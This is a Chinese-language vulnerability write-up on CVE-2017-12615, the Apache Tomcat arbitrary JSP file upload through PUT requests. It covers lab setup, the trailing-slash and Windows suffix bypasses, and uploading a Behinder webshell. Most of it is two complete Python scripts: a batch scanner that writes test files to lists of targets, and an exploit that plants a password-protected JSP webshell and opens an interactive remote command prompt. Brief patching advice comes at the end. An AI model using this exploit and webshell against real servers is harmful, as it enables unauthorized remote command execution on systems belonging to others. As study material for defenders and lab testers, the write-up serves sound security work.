CVE-2017-12615 - Tomcat任意文件写入
CVE-2017-12615 - Tomcat任意文件写入
环境搭建
用vulhub的环境
查看配置文件conf/web.xml中readonly的设置
漏洞复现
访问主页,抓包后修改数据包
可通过 PUT 方式创建一个 JSP 文件。虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/
)来绕过了限制。
改完包的时候不知道为啥上传失败了,于是我换了buuoj的环境,上传冰蝎的jsp木马,返回201代表上传成功
再用冰蝎连接即可
Windows服务器上搭建的tomcat可以在文件尾部加上 %20或者 ::$DATA等绕过
POC && EXP
#CVE-2017-12615 POC
import requests
import optparse
import os
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
filename = '/hello.jsp'
#测试数据
data = 'hello'
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
try:
response = requests.put(url+filename+'/',data=data)
return 1
except Exception as e:
print("[-] {0} 连接失败".format(url))
return 0
def checking(url):
try:
#验证文件是否上传成功
response = requests.get(url+filename)
#print(url+filename)
if response.status_code == 200 and 'hello' in response.text:
print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
else:
print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
except Exception as e:
#print(e)
print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
with open(options.FILE) as f:
urls = f.readlines()
#print(urls)
for url in urls:
url = str(url).replace('\n', '').replace('\r', '').strip()
if upload(url) == 1:
checking(url)
elif options.FILE and not os.path.exists(options.FILE):
print('[-] {0} 文件不存在'.format(options.FILE))
else:
#上传链接
url = options.URL+':'+options.PORT
if upload(url) == 1:
checking(url)
#CVE-2017-12615 EXP
import requests
import optparse
import time
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>'''
#上传木马文件
def upload(url):
print('[*] 目标地址:'+url)
try:
respond = requests.put(url+filename+'/',headers=headers,data = data)
#print(respond.status_code)
if respond.status_code == 201 or respond.status_code == 204:
#print('[*] 目标地址:'+url)
print('[+] 木马上传成功')
except Exception as e:
print('[-] 上传失败')
return 0
#命令执行
def attack(url,cmd):
try:
respond = requests.get(url+payload+cmd)
if respond.status_code == 200:
print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())
except Exception as e:
print('[-] 命令执行错误')
if upload(url) == 0:
exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
cmd = input('>>>')
if(cmd == 'quit'):
break
attack(url,cmd)
修复建议
-
设置conf/web.xml 文件的 readOnly 值为 Ture
-
禁用 PUT 方法并重启 tomcat 服务(如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效。)
-
升级到最新版本
-
使用WAF产品进行防御